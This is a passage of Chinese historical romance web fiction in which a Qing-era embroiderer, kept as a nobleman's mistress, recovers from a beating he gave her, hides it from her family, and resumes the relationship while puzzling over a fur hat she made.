苏培盛看着四阿哥又连连踹了好几脚,乌姑娘被踹得后退,又上前张开双臂挡住。
四阿哥都不想跟乌姑娘计较了,想绕过乌姑娘,只是乌姑娘就是不肯让四阿哥离开,到最后苏培盛都不知道乌姑娘被四阿哥踹了几脚,他总觉得乌姑娘都快要没命了,只是她还撑着一口气重复一句话,要四阿哥救张宗。
四阿哥可能是见乌姑娘是真的不会让他离开,除非她死,还是松口了,说他会救张宗,说完这句话后,乌姑娘整个人就瘫软下来,彻底昏了过去。
众人看向四阿哥,不知道要怎么办。
“去把周太医请过来。”
苏培盛连忙应是,虽说周太医是妇人科太医,不过应该也能替乌姑娘查看伤势,等周太医过来后,四阿哥没等周太医给乌姑娘查诊完就走了。
苏培盛连忙跟上,示意谢嬷嬷她们照顾好乌姑娘,在他看来,终究是四阿哥心软了,退让了,能让四阿哥心软的人肯定一时半会失宠不了。
……
乌锦再次醒来时已经天黑,屋内点着好几盏烛灯,她惊得一下子坐起来,坐起来时浑身抽疼,仿佛被重物碾压过,全身的骨头都断了。
“乌姑娘,你醒了,来,这是治内伤的汤药,你先喝了。”
乌锦见到谢嬷嬷才意识到自己还在宅子这边,她挣扎着坐起来,把汤药喝了,她才问几时了。
“酉时末。”
乌锦一惊,那她家里人肯定急坏了,到处找她呢,她掀开被子想要离开。
谢嬷嬷急急道:“乌姑娘,你这是干什么,你伤成这样子要怎么走,你放心,我让赵师傅过去你铺子那边告诉那个彩玉姑娘,说你今晚不回家,你这样子回去更让家里人担心,周太医说你的肋骨断了一根,你不应该动的,快躺好。”
乌锦低头看自己,身上抱着厚厚一层纱布,纱布底下好像还有一块硬板,不知是不是帮着固定她断了的肋骨,低头一闻,身上有着浓浓的药味,不用看她现在肯定是有内伤,她都不知道自己承了那人几脚,她昏过去之前都觉得自己活不了。
她这样子回家才真的会让家里人担心,既然谢嬷嬷已经让人告诉彩玉,她先暂且在这里歇一晚再说,她又躺了下来。
“乌姑娘,你伤得重,不可再乱动了。”
乌锦只觉得自己胸膛处一直有剧烈的疼意传来,没有什么麻醉药帮她度过这个艰难时刻,她只能硬撑过去。
过一会儿,瓜嬷嬷也端来一碗汤药,说是补血的,她才想起来她好像还吐了血,只
是她刚刚喝了一碗,这一碗有点喝不下。
“乌姑娘喝一口吃一块蜜饯。”谢嬷嬷建议道。
乌锦最后还是一口气喝完才吃蜜饯,她疼得没有任何食欲,只是静静躺着,口中咬着一块布,想着明日回家要如何解释自己的伤跟彻夜未归的原因。
她希望保泰说到做到,真的能救下张宗,不然她就白挨踢了,保泰踢她的时候可没有节制力道,每一脚都踢得很用力,她能捡回来一条命是万幸。
她迷迷糊糊又睡过去才好一些,感知不到疼痛。
翌日天明,乌锦再次醒来,还是能感觉到疼,不过比昨晚醒来时好受一些,她又喝了两碗汤药,周太医一大早给她看伤,让谢嬷嬷换了在胸口的敷药,叮嘱她一个月内都不要干活,就躺着静养。
等周太医走后,她喝了一碗粥就要回家。
谢嬷嬷犹豫:“乌姑娘,你这样子怎么回家,路上颠簸,你得躺着静养。”
乌锦坚持要回家,再不回家,她都不知道她阿玛额娘他们要急成什么样。
谢嬷嬷拗不过,只好在马车帮她放了不少靠垫,还将一床被子放进去,好在马车够大够长,可以让她平躺下来。
谢嬷嬷跟瓜嬷嬷跟着坐在马车上照顾她,赵师傅驱车时走得很慢,速度跟骡车差不多,直接送到家门口,她家里人除了要去上学的乌安跟乌明,其他人都在等她,一夜没睡,连她阿玛今天也没去步军营。
见到她被搀着从马车上下来,他们赶紧上前。
乌锦示意谢嬷嬷他们可以走了,她被搀着回房间,她起初坐在床上,只是太疼,她才躺下来,她额娘直接解开她的外衣,看到里面缠着的厚重纱布,她一点点揭开纱布,看到身上那些淤青到渗血丝的伤口,眼泪直接流下来。
她额娘哽咽着说她小娘把所有事情都告诉他们了。
“桃子,我们去报官,找你姑母姑父替你做主,实在不行我们去求王爷,我们是旗民,王爷总得为我们做主。”
乌锦缓缓开口道:“阿玛,额娘,别告诉别人,别去报官,这是丢人的事,若是闹到人尽皆知,那我们以后还怎么过日子,乌安跟乌明他们以后还怎么见人,姑母他们做不了主,王爷也做不了主,那人身份万分尊贵,是我们都得罪不起的,你们就当做不知道吧,我今日身上的伤……是我自找的,跟其他人无关。”
完颜氏握着自家女儿的手,眼泪蒙住眼睛:“怎么可能没人管得了?你让额娘如何当不知道,实在不行,我们搬去别的地方,远离京城。”
他们都是镶蓝旗旗民,八旗户每隔三年都要调查核对,所有旗民是登记在册的,旗内之人是不能远离所属的佐领,无户之人在哪都生存不易,出什么事,衙门不会管你的,这条路肯定是行不通的。
“额娘,听我的,此事不要跟旁人说,谁都不要说,舅舅他们也不行,那人也不是每次都会如此,这次是意外,你们别担心我,我真的没事。”
任谁看她都不是没事的样子,乌志善问那个人是谁,乌锦摇摇头,让她阿玛别问了,那人不让她说,她只一遍遍地说让他们当做不知道,别再问了,也别想着报官,更别去告诉姑母他们。
“我怕我女儿没命了怎么办?桃子,你要是让我白发人送黑发人怎么办?”完颜氏看着自家女儿这样子,心疼不已。
乌锦宽慰道:“不会的,我肯定能好好活着,那人其实对我很好,他每个月给我二十两银子,我真的没事,你们别担心了,也别说出去,别告诉乌安他们,跟往常一样,我们该过日子还是好好过日子,这外室其实跟庶福晋差不多,我还有两个嬷嬷伺候,他也不拘着我,让我可以住在家里,这次受伤跟他无关,是我自个伤到自个,民不与官斗,更何况那人比官还大,不然我们一家人都会没命,你们都听我的,当做不知道这事。”
这样子的宽慰在她这副虚弱受伤的样子面前显然起到的作用不大,但他们至少歇了报官的心思。
乌锦说她饿了,想喝点粥,她额娘这才去厨房那边做粥,她阿玛坐在床边,一向乐呵的他此时神情颓丧,跟她说是他没用。
“阿玛,跟你无关,你别自责。”
“告诉阿玛那人是谁?”
乌锦想到张宗,她若是告诉张宗那人是保泰,张宗可能会去杀保泰,那罪名更重了,她怕她阿玛也会冲动行事,于是她摇摇头没告诉她阿玛,让她阿玛别问了。
一天下来,乌家气氛沉重,直到乌安乌明他们回来,他们才收起情绪,没告诉两兄弟,乌锦说她是自己摔到了才受的伤。
乌明年纪小,没有怀疑,倒是乌安多问一句她昨晚为何没回来,乌锦说她摔倒后人晕过去了,一觉醒来就天亮了。
之后的几天,阿玛跟额娘都想从她口中得知那人是谁,乌锦都没松口,还不停地嘱咐他们别对外人说这事,包括姑母舅舅他们,她也让彩玉帮她留意一下张家那边的动静。
她在床上躺了十几日才觉得恢复一些,只是还是得躺着。
又是一日傍晚,夕阳西下,她额娘将她扶起来靠在床头,这十几日,她额娘眼看着变瘦了,有些憔悴。
“这是你小娘炖的羊肉,炖得很软烂了,你先喝一碗羊汤再吃肉。”
她额娘一口一口喂她喝汤,絮叨道:“额娘知道你说得对,额娘不会跟别人提起这些事,你阿玛跟小娘也守口如瓶,你就放心吧,额娘知道你性子执拗,既然那人得罪不起,你也别跟他硬碰硬,该低头的时候低头,省得吃那么多苦头,你从小聪明,肯定晓得怎么做,额娘别的不求,只求你平平安安的。”
“我知道的,额娘放心吧,我既然当了外室,就不会还自恃清高,说不定我能母凭子贵,将来转正,从外室变成真正的主子,被接进府里当庶福晋,往后过着锦衣玉食的日子。”
看她额娘这十几日寝食难安,乌锦挑好听话哄她额娘。
“他……年纪多大?”
“比阿玛年纪小。”
“那……那就好。”
完颜氏松一口气,事实上自家女儿说得对,他们斗不过也惹不起,除了顺从别无他法,自家女儿说那是比简世子还要尊贵的人,官都拿那些王公贵族没办法,他们哪里抵抗得过,命都握在别人手里,只能委曲求全,自家女儿性子太硬,她只能劝她软一些,也许能有一番出路。
“张家的事,你都知道了吧?”
“嗯。”
完颜氏叹口气,谁能想到张宗敢去刺杀世子,听说张家要败了,可能张家人的性命全都不保,女儿没嫁给张宗,也不知是不是好事,目前看来至少能躲过这一劫。
“也不知道张宗怎么想的,明明好好一个人,却做出这种大逆不道的事,牵连全家跟着丧命,不知道他会不会悔。”
乌锦垂眸,脸上闪过一抹凝重,张宗显然还没被救出来,不知道那人能不能救出张宗,等到宗人府那边定罪后,恐怕人更难救出来了。
张文渊本来就是简王爷亲信的部下,张宗伤的又是简王爷的嫡长子,王爷肯定不想保张家,一个部下而已,再培养一个就是,所以张家这次是危在旦夕。
希望那人言而有信,说到做到,乌锦在心中默念,她欠张宗的,她希望他们一家人的命能保住。
第45章第45章更新
第45章
乌锦已经可以下地走两步,那些淤青消散一些,不过伤筋动骨一百天,她也没那么快能痊愈,偶尔还是觉得五脏六腑抽疼一下,平日要么坐着要么躺着。
晌午,外面的阳光从木窗那边透进来,屋内明亮,乌锦坐在床上绣荷包。
过一会儿她小娘进来说该吃点东西,她将炕桌摆在床上,将她的午膳摆上来,一碗猪骨汤加上一块大筒骨,一碟杏酪豆腐跟一碟油炒青菜。
天天各种骨头汤跟骨肉
,乌锦再喜欢吃肉也有点吃腻了,她说她不想吃那块筒骨。
“喝汤也行,把汤喝了,筒骨这会不想吃的话等到晚膳的时候再吃也行,明日小娘给你蒸几条鱼,明日吃鱼肉。”
“小娘真好,我想吃鱼肉。”
程氏说她明日去看看哪里有新鲜的鱼卖,她去卖两条回来,她知道乌锦惦记着张宗的事,她便说道:“听说刺杀世子的人不是张宗,另有其人,张宗昨日已经被放出来,张家那边已经没事了。”
乌锦瞪大眼睛:“小娘说的可是真的?”
程氏点头肯定道:“我还能骗你嘛,真的从狱中出来了,听说伤得不轻,估计是被严刑逼供了,不过能留住一条命总归是好事。”
乌锦松一口气,那人还是做到了。
“好啦,快吃吧,再不吃就凉了,张宗的事归张家管,不归我们管,你好好养伤,也别刺绣了,铺子不是还有其它绣娘,交给她们,你把伤养好才是正事。”
乌锦怕小娘唠叨,忙说她知道了,开始吃饭。
程氏最后也没再说什么,盯着她把饭吃完后才离开。
很快到了十一月初,乌锦的伤好得差不多了,她躺了快两个月,感觉自己快要发霉了,在她额娘想去永宁寺上香时,她要跟着一起去。
因永宁寺离家不远,完颜氏这才同意她跟着一起。
天冷,乌锦穿了一件宝蓝色绣折枝菊花的短袄在外面,还戴了一顶毡帽,跟着她额娘出门,到了寺里,乌锦就不随着她额娘四处拜拜,自个在寺里随便走走,她没想到会碰到张宗的母亲秦氏,秦氏身边有两个伺候的嬷嬷。
她们三人朝她走过来,乌锦觉得秦氏脸色不大对劲。
秦氏眼神很是愤恨,她觉得都是乌锦害她儿子变成今日这样,自从退婚后,儿子一蹶不振,像是换了一个人一样,她恨不得狠狠扇乌锦一巴掌。
“乌锦,你当初为何要招惹我儿子,要不是你,他不会变成这样,现在好了,你毁了他,毁了我们张家,你满意了。”
乌锦面对秦氏的指责,只能保持缄默。
“你真是害死我儿子了,我儿子要是有三长两短,我做鬼都不会放过你们乌家。”
秦氏过来是给儿子祈福的,虽说儿子被放出来了,但伤得严重,而且往后的前程怕是也毁了,她对着乌锦说狠话泄愤,面目狰狞。
乌锦知道自己此时说什么都是错的,回话只会让秦氏更加生气,她便什么都没有反驳,默默承受秦氏的辱骂。
秦氏骂够了也稍微冷静下来,盯着乌锦,出声道:“乌锦,你们家先要求的退婚,我们张家至始至终都没有对不起你,张宗他伤得厉害,嘴里还念叨着你的名字,我求你一件事,你去看看张宗,他没有要活下去的念头,你帮帮他,跟他说几句话让他活下去,算我这个当长辈的求你了。”
乌锦点头:“好,我明日过去看看他。”
秦氏见乌锦这么快答应,神色才缓和一些,说她还要上香,于是带着嬷嬷离开。
过了一会,她额娘找到她,跟她说她见到秦氏的事,问秦氏有没有跟她说什么,乌锦摇摇头说她没碰到秦氏,她额娘才哦了一声。
完颜氏当然不希望自家女儿还跟张宗牵扯在一块,虽说张宗被放出来了,但张家后续会不会被牵连还不知道呢,远着点总没错。
翌日。
乌锦自己过去张家,没告诉家里人,张宗的确伤得严重,好在人是清醒的,秦氏将他房中的人清出去,只余下他们两人。
“张宗,其实你是真的想杀世子对不对?”
张宗没有否认,反而有些愤愤道:“可惜我的箭射偏了。”
“那人不是雅尔江阿,你杀错人了。”
躺在床上的张宗一怔,他本来伤重,脸色就发白,听到这话脸色就更白了,眼里尽是诧异:“不是他?怎么可能不是他?不是他还有谁?”
乌锦站着,视线往下,盯着张宗的眼睛,平静道:“不是他,我跟世子之间清清白白,张宗,你别再钻牛角尖了,我救得你一次,救不了你两次,我也不会救你第二次,我对你已仁至义尽,往后你是生是死都与我无关,你也不是三岁小孩了,你要做尽蠢事,害死家人才能罢休的话,那是你的事,你若不想活了,大可以找根绳子自己吊死在梁上,至少自尽不会牵连家人,你额娘生养你一场,你却为了一点小情小爱而伤透她的心,你其实就是一个自私凉薄之人,今日若不是你额娘求我,我都不会过来。”
“是你救的我?”
张宗还以为自己会死在狱中,但没想到最后世子改口了,说是找到真正的凶手,于是他才会被放出来,他还以为是他阿玛他们救了他,原来是乌锦救了他,若强迫乌锦当外室的人不是雅尔江阿的话,那就是另有其人,是乌锦求了那个人,他才会被放出来,也就意味着那人的身份比雅尔江阿还尊贵。
“张宗,这世间不止是情情爱爱,拘于情情爱爱的人是作茧自缚,你是男子,你远比我幸运,男子可建功立业,可大展宏图,你的抱负与理想可以实现,你若执着地将自己困在其中,到最后谁都会弃你厌你,连你自己也会看不起你自己,我始终觉得你该有锦绣前程,而不是一事无成地度过你的一生,言至于此,我以后不会再来见你劝你,你的生死都与我无关,你好自为之吧。”
乌锦说完后就离开了。
张宗一人怔怔地躺在床上,不知在想什么。
……
乌锦不再关注张宗跟张家那边的动静,她已经不欠张宗什么了,他若是执迷不悟,那也是他自己的事,她自己都是摸着石头过河,哪有那么闲心管所有人。
她伤愈之后正好是年关,她两个月没来铺子,铺子里面的账等着她核对,接的绣活都交给铺子的绣娘来做。
谢嬷嬷来找她时,她正在清点铺子里剩下的丝线,她让谢嬷嬷等一会,清点结束后才吩咐彩玉一句,自个跟着谢嬷嬷走出去,很快上了马车。
“乌姑娘身子好些了吗?”
“已经好得差不多了,只是偶尔内里会抽疼。”
谢嬷嬷都被那日的场景吓到了,当时乌姑娘都吐血了,肯定伤着内里了,她生怕乌姑娘就这样没了,主子爷知道乌姑娘的伤情,隔了两个多月才来找乌姑娘,她瞧着乌姑娘的确清减不少,瘦了一些,乌姑娘在家养伤,她也不知道乌姑娘恢复如何。
“要不要让周太医过来给乌姑娘看看?”
乌锦摇摇头,笑道:“算了,周太医是妇人科太医,应该不擅长治内伤,我已经找大夫看过了,并无大碍,嬷嬷不用担心。”
谢嬷嬷也不好再说什么,她算是看清楚了,乌姑娘的性子只是表面柔和,其实也犟得很,连主子爷都不怕的人,她说什么也恐怕也不能改变她的想法。
乌锦到了之后见到坐在铺炕上的人,还是先给他行礼。
“奴婢给世子爷请安,世子爷万福。”
没被叫起,乌锦依旧半蹲着,她继续道:“奴婢多谢世子爷救张宗一命,奴婢感激不尽。”
屋内安静,乌锦抬眸看他一眼,他依旧在翻书,似乎没听到她的话,反正是存心折腾她,她只能继续半蹲着,半蹲着累,她干脆双膝跪地。
过了好一会儿,她听到两个字——-起来,她才站了起来,他阴着脸,像是她欠他几万两一样,她犹豫着要不要靠近。
“伤好了吗?”
乌锦见他主动提及她的伤,她才走进去,主动坐到他腿上,攀着他脖子,柔声道:“不好,偶尔夜里还会疼,奴婢差点死了。”
“怪谁?不是你自己找死吗?”胤禛阴□□,看着乌锦这张脸就来气,她为了那个张宗都敢豁出去自己的生命来求他,要是死了,那就死了,他都不会多看她一眼。
“怪我怪我,以后再也不会了,蠢事做一次就够了,我记住教训了,下次再也不敢了,都过去这么久了,世子爷别提这些陈年旧事,忘了吧。”
“还知道自己蠢啊。”
乌锦小鸡啄米一样点头,举起三根手指头发誓:“我发誓下次再也不会了,世子爷,我们去床上吧,我想世子爷了。”
胤禛冷睨着她,心里装着别的男人,嘴上却说想他,他信她才有鬼。
“是真的,没骗世子爷。”乌锦贴着他的薄唇,主动亲他,反正不想再说这事,尽快揭过去是最好的。
胤禛没动,任由着她主动。
乌锦从薄唇亲到脖子,又慢慢解开他衣襟,一路往下。
胤禛到最后受不了还一把将她抱起,放到床上时没有太用力,之后全程都没压她,要么她在上面,要么她在侧面。
乌锦也意识到他今日格外温柔,没有太用力,也注意到他一直让她在上面,估计是怕压到她,她的伤势肯定有人会传给他,让他知晓,他应该是知道她断了一根肋骨,不好意思再让她再断一根。
她自然不会为这种表面的东西而感动,甚至还觉得有点讽刺,她说偶尔夜里还会疼是真的,总觉得内伤还没好全,他踹她的时候可没有省点力气,是用尽全力踹她。
这时候的一点温情算什么,她见识过这个男人翻脸无情的样子,哪会为他此时的温柔蛊惑住,她始终记得他踢她时的狠厉模样。
事后,两人躺在床上。
乌锦有点累,又觉得胸口有些泛疼,淤青虽然是褪去了,但里面还没好全,留下后遗症,她捂着自己的胸口。
“怎么了?”
“有点疼,歇会就好了。”
胤禛见她不似是说假,她喘气时都有点杂音,他把谢嬷嬷叫进来,让她去请周太医。
乌锦拉他的手,制止道:“周太医又治不了这个,我这是内伤,一时半会好不了,让我歇歇就好了,缓一会就没事了。”
胤禛本来觉得是她活该,只是不知为何见到她捂着胸口,咬着唇忍痛的样子,又生出一分恻隐之心,想着那日不该踹那么狠。
谢嬷嬷站在那不知该不该叫太医。
“嬷嬷,你出去吧,不用叫周太医。”乌锦见谢嬷嬷站在那显得无措,她挥挥手示意谢嬷嬷出去。
在主子爷点头后,谢嬷嬷才敢出去。
胤禛还是伸出手,轻抚她的胸膛。
乌锦不拒绝他的好意,说这样好多了,让他继续。
胤禛难得耐心,抚了好一会。
“还疼吗?”
“好像不怎么疼了,谢谢世子爷。”
胤禛见到她笑笑的样子,捏了捏她的脸,抱歉的话说不出,只能闭嘴,心想着又不是他的错,是她自找的,他当时都让她松开了,他见时辰差不多了,起身穿衣。
乌锦没有起来伺候他,等他走后,她才起来,让谢嬷嬷把避子汤端给她,谢嬷嬷先拿给她一百两银子,说是主子爷给她的。
乌锦拿着这一百两银子,什么也没说,喝完避子汤后也离开了。
……
又是一年年关,今年年末铺子的生意不好不坏,乌锦正好闲下来,不用刺绣,就想着准备年货,还有想着送礼给哪些人。
因姑母上一次给她说亲,被她额娘半赶走后,姑母一家跟他们家明面上断了往来,只有二堂嫂过来找过她一次。
不好继续这么僵着,为了这点事不值得,乌锦就跟她额娘商量过几日去姑母府里一趟,提前送年礼过去,她额娘也同意了。
十二月六日,乌锦跟她额娘提着年货过去姑母那,好在姑母没有将她们拒之门外,也没有提起上回说亲的事,跟往常一样招待她们,留她们用膳。
大家坐在一块聊家中琐事,气氛相对和乐,其实就是递给台阶的事,她们送礼,姑母顺着台阶就下了。
倒是大堂嫂见到她没有好脸色,说她眼光高,注定嫁不出去了,只是大堂嫂一向如此,乌锦也习惯了,拿出她带来的两匹料子送给大堂嫂,大堂嫂脸色才缓和一些。
一群人闲聊时,乌锦才听说多兰格格订亲了,跟一七品典仪之子订亲,不知是不是她上次见到的那位男子,这门亲事算是低嫁了,不过想想皇子福晋的阿玛也只是六品官,宗女的额驸出身上三旗,阿玛七品官,其实算是可以了。
大多数宗女都是嫁上三旗的侍卫,那些娶宗女的男子凭着额驸的身份官途也会顺遂许多,订亲而已,真正成婚可能要过两三年。
午时过后,乌锦跟她额娘才离开。
十二月初八,腊八节,一大早,额娘跟小娘又去寺里上香,乌锦睡到自然醒,起来后先喝一碗熬好的腊八粥。
彩玉也进她房间,说今晚她想跟她一起睡,一个人睡太冷了。
“过几日我们都睡铺炕上。”
彩玉忙不迭点头。
其实睡在铺炕上唯一一点不好的是人多,没有隐私,乌锦还记得小时候一家人睡在铺炕,夜里,她阿玛跟额娘那边有异动,她当时是小孩子,但又不是真的小孩子,所以当时她一动不动,就怕阿玛他们发现她还醒着。
只是这天越来越冷,盖几层被子都不管用,屋里燃炭的话要好几个房间都烧着,黑炭烟大又不耐燃,时不时得添炭,还不如烧一大铺炕来得实在。
乌锦跟彩玉去铺子那边开门比较迟,没想到有人已经在等她们。
“我还以为你们今日不开门做生意呢。”
乌锦诧异道:“月碧姑娘,竟然是你,好久不见了,近来可好?”
“好得很。”
月碧是保泰府里庶福晋田氏的丫鬟,先前来过绣秀苑一次,乌锦还记得她们,开门后连忙请月碧进来,把暖手炉递给她。
“不好意思,让月碧姑娘久等了,月碧姑娘想绣什么?”
“我家福晋刚得了半张狐皮,想用这半张狐皮做一件狐皮端罩给我家世子爷。”
“若是只有半张狐皮的话,恐怕还不够做一件端罩,你家世子爷……”乌锦及时闭嘴,她突然想起自己应该是没见过保泰的,差点说漏嘴,她想说的是保泰身形高大,半张狐皮肯定不够,她假装不知:“我没见过世子爷,不知道世子爷多高,还得请月碧姑娘将世子爷的尺寸量好告诉我,还有那半张狐皮多大,也请月碧姑娘拿来给我瞧瞧。”
“你明日去王府,帮世子爷量身。”
乌锦心里咯噔一下,那人千叮咛万嘱咐不要她对外人暴露他们之间的事,她主动上门替他量身,他肯定以为是她有意为之,意图“逼宫”,想要从外室变成真正的主子。
“月碧姑娘,我明日让铺子另外一位绣娘替世子爷量身,我绣工好,但不擅长裁衣量身,如若不是刺绣,而只是裁剪定制衣裳的话,我们铺子里的林绣娘做得更好。”
“若是这个林绣娘不如你,没让福晋满意,小心以后我们都不来你这。”
“放心吧,福晋不满意,我们可以不收银两,我明日让林绣娘过去。”
月碧点点头,算是同意了。
乌锦也松口气,送走月碧后,她让彩玉去林绣娘家,让林绣娘过来铺子一趟,等林绣娘过来,她细细叮嘱她,将该注意的事跟她说一遍。
等到第二天,林绣娘从王府那边回来,那半张狐皮也带回来,半张狐皮肯定做不成端罩,田福晋让她做一顶毡帽。
乌锦看着林绣娘记下来的尺寸,觉得不对劲,她见到的保泰身形高大,肩膀宽阔,只是这上面尺寸偏小不少。
“这是给世子爷量好的尺寸?”
“是,我亲自上手量的,不过因是世子爷,世子爷当时穿着厚褙子,我量身的时候没敢太耽搁,可能偏大一点。”
乌锦皱眉,这不应该啊,林绣娘肯定不会量错了,她都当了二十几年绣娘了,不大可能量错。
“你确定是给世子爷量的身?”
“应该是吧,我没敢多问,福晋让我做什么我就做什么。”
乌锦只好先将心中疑惑压下,跟林秀娘商量如何做这顶毡帽,她想着先画图,毡帽的样子跟形状给田福晋先
过目后再做也不迟。
林绣娘将画好的图给田福晋看过后,田福晋说就按照图上的做,林绣娘手里头还有别的绣活,最后还是乌锦做这顶毡帽,她花了十天,赶在年前将狐皮毡帽做好,是月碧过来铺子这边拿走的,她收了二两银子。
十二月底,年味越来越浓,各家已经开始挂上红灯笼,贴上门神。
离除夕还有两天,乌锦以为保泰不会在年前找她,结果他又召她过去时,她觉得有点意外。
事后,她忍不住问了一句:“世子爷,你这几日……不忙吗?”
胤禛是心情不好才过来找乌锦,让她伺候,不过顾及着她身子还没好全,他才没有太折腾她,他垂眸看她:“你是不是不想我过来找你?”
“没有,我只是觉得快过年了,世子爷应该很忙才是。”
胤禛冷哼一声,她就是不想他过来找她,恨不得半年不找她,说不定心里还想着为那个张宗守身呢,她这个外室当的实在是潇洒,半点外室的样子都没有。
乌锦见这人又沉脸了,心情一阵一阵的,也不知道谁惹他了,她不敢再说话,还是保持安静为好,省得他把气撒在她身上了,她默默往床边挪了挪身子,远离他。
还没挪到时,腰就被搂住,他低头吻下来,摁着她后脑勺不让她躲。
乌锦差点岔气,眼看着他又要来一次,她稍微推拒:“不行,我不行了,我这里开始疼了。”
胤禛把她放到他身上,她伏在他胸膛上,只听见他让她别动,他自己来就好。
乌锦还是被吃了第二回,她总是忍不住在想,他后院肯定有很多女人,他跟她做完后还有力气跟别人做嘛,他那些福晋难道不会怀疑,他留在这座宅子跟她厮混的时间越久,难道就没有一个人察觉到他在外面待了一两个时辰,甚至更久。
算了,这不是她该想的事,乌锦收回思绪。
第46章第46章更新
第46章
除夕,申时初。
乌家一家老小在大堂内吃锅子,牛羊肉切片放进热锅里汆烫,乌明都顾不上烫就把肉片放进嘴里,真被烫到了就可怜巴巴地吐舌头。
完颜氏忍不住说道:“慢点吃,没人跟你抢。”
乌明连着说好吃,那双杏核大的眼睛遇到吃的就迸着亮光,虽然比乌安年纪小,但胳膊肘已经比乌安粗,肉肉的像两节莲藕。
他们都被乌明逗笑,吃好后,晚辈给长辈跪着拜年,磕三个头,收获一个红色荷包,荷包里面塞着银子,乌锦拿了三份,来自阿玛、额娘跟小娘,约莫有六两银子,她的荷包是最厚重的,乌明只有几文钱。
过后,彩玉领着乌安跟乌明出去放鞭炮。
乌锦已经没什么童心了,窝在家里的铺炕看话本子,她额娘跟她闲聊,说是因郑佳仪入宫当小主,今年郑家得了宫里头的年例赏赐,郑家一家人不知道有多高兴。
“都赏了什么?”乌锦顺口问了一句。
“有江南那边的绸缎,还有一些瓷器,都是好东西,官家赏的,那肯定是价值连城。”
乌锦点点头表示赞同,其实心思依旧在她的话本子上。
完颜氏见自家女儿看得入迷,便没有继续打扰她,去隔壁找三婶她们聊天。
除夕就这样过去,跟上一年一样,大年初一去寺里上香,大年初二开始走亲戚,到处串门,乌锦的年过得平静,只要一家人平平安安的,平淡也是福。
大年初八,乌锦跟着她额娘又过去小舅家,一个时辰前,表妹云珠自己走过来她家,说是小舅跟小舅妈吵架了,吓得她额娘带上她跟表妹过去小舅家,打算劝架说和。
大过年的吵架不吉利,她额娘在路上就一直念叨,说两个人不懂事,前几日还好好的,怎么突然吵起来。
乌锦瞥到前面的人,目光一凌,那人戴的毡帽好像是她前不久给保泰做的狐皮毡帽,她亲手做的毡帽不大可能认错,只是那人瞧着不像保泰,但他身旁有好几个随从,穿了一件缂丝八团彩云蝠云纹冬袍,身份肯定是非富即贵,年纪跟保泰差不多,约莫十七八岁,那人的身形跟林绣娘量的尺寸合得上,不高肩窄,那人的脑袋大小倒是跟保泰的差不多,反正就是前半边剃光,后面留着一条金钱鼠尾辫。
那人看上去像是街上闲逛,看到什么喜欢的,随手一指,随从就帮他付了银两。
乌锦加快脚步走在前头,回头看清那人的真相,的确不是保泰,既然不是保泰,为何毡帽被他戴着,田福晋说是给保泰做的毡帽,难不成保泰将田福晋送给他的毡帽转赠给他人了?
这人不是保泰的话,那他是谁,哪家公子?
许是乌锦的目光太过灼热,对方看过来,看到她的脸时,那男子很明显露出一分嫌弃,神色不满地示意旁边的随从欲上前,她也不敢再看,连忙追上她额娘跟表妹。
到小舅家后,小舅并不在家,只有小舅妈一人在照顾不到一岁的表弟,一问才知道他们大过年吵架的原因是小舅要纳妾。
“三姐,你说家里穷成这样了,就凭他那点月俸养得起那么多人嘛,要不是靠着几位姐姐贴补,我们娘几个怕是连饭都吃不起,你看两个孩子都这么小,一生病就得花银子,他连几两银子都拿不出来,孩子真病了,连大夫都请不起,他倒好,一天天的就知道出去,孩子一天都没有照看过,不知道被外头哪个狐狸精给勾去了。”
小舅妈一把眼泪一把鼻涕地哭诉,手里还抱着表弟。
乌锦只能将表弟抱过来,递帕子给小舅妈擦眼泪,小舅是家中最小的儿子,上面四个姐姐,他是独子,自然备受宠爱,虽说这大清的男子纳妾是常事,但小舅在小舅妈刚生完孩子还没到半年就想着纳妾,的确是没有责任心的男人。
她算是晚辈,也不好说什么,就交给她额娘,她抱着表弟,拉着表妹到院子那边的石椅上坐着。
“桃子姐姐,我饿了。”
乌锦看了看屋内,估计一时半会不会做膳了,她说她带她出去买吃的,她想吃什么都可以买。
云珠说她想吃糖,乌锦说当然可以,于是三人出去买糖。
乌锦不仅买了小孩子吃的糖,还买了一些点心,云珠吃得很欢乐,不过表弟还不到一岁,这些东西都不能吃,他饿哭了,她只能将他抱回去让小舅妈喂奶。
小舅妈喂奶的时候也不忘控诉小舅,乌锦在一旁听了一嘴,她额娘劝小舅妈想开一些,男人想纳妾是很正常的事,家里真多一个人也能帮她照看孩子,给她搭把手,没什么不好的。
乌锦听着额娘的意思像是赞同小舅纳妾,站在小舅那一边。
“这男人真想纳妾,拦也拦不住,不如就顺着他,家和万事兴,别伤了夫妻的情分,有我们在,也不会真让你们饿死。”
小舅妈听完她额娘的话也沉默了。
乌锦在心里叹口气,这个男人三妻四妾的时代,很多时候由不得女人,女人只能忍,她觉得有点悲哀。
过了半个时辰,劝也劝得差不多了,她额娘给她们做了午膳,在小舅回来时当着小舅妈的面训了小舅几句,离开前塞给小舅妈二两银子,也算是劝和了,这事就差不多结束。
她额娘回来的路上跟她说小舅妈的心太实,总想占着自家男人。
乌锦没有接话,她额娘没看出她的异样,继续说男人纳妾就纳妾,再怎么纳妾,还是自家的男人,把孩子照顾好是最重要的。
乌锦没想过去改变她额娘的想法,她们接受的观念都是如此,不可能因为她的一两句而改变,她还在想着那顶毡帽的事。
元宵一过,年就过得差不多了,乌锦已经开始刺绣,绣几个荷包放在铺子里展着卖,她的铺子年后也开门做生意了,开门第一天还放了鞭炮。
没想到今年铺子来的第一位客人是田福晋,乌锦见到田福晋后连忙迎上去,给她行礼。
“上回你做的毡帽,世子爷很喜欢。”
乌锦连忙说是福晋送过来的狐皮皮质好,丰厚又柔软,她不过是锦上添花而已,能得世子爷喜欢都是因为世子爷喜欢
福晋,晓得是福晋的心意,属于爱屋及乌。
田氏嘴角忍不住上扬,眼里有着明显的笑意,笑道:“你这张嘴啊,太会说话了。”
“奴婢说的都是实话,福晋,你快请坐,奴婢这铺子里面全是纱线布匹,不好燃炭,屋内冷,还请福晋见谅。”
“是挺冷的。”
田氏说了一句,坐下来后环扫一眼,看向乌锦说道:“过几个月是我婆母的寿辰,你先前不是给宫里的娘娘绣过一件夹马褂,我想让你再绣一件。”
乌锦说褂子想要合身,恐怕还得先量身。
“这个我让府里的绣娘将尺寸记下来,在这。”
一旁的月碧递上一张纸,乌锦细看后点头,又接着跟田福晋商量她想要什么料子,什么式样,圆领的高领的,对襟的右襟的,一一细问。
跟田福晋这么一聊就过去半个时辰,乌锦说等她三日后画好图后,她送去给福晋过目。
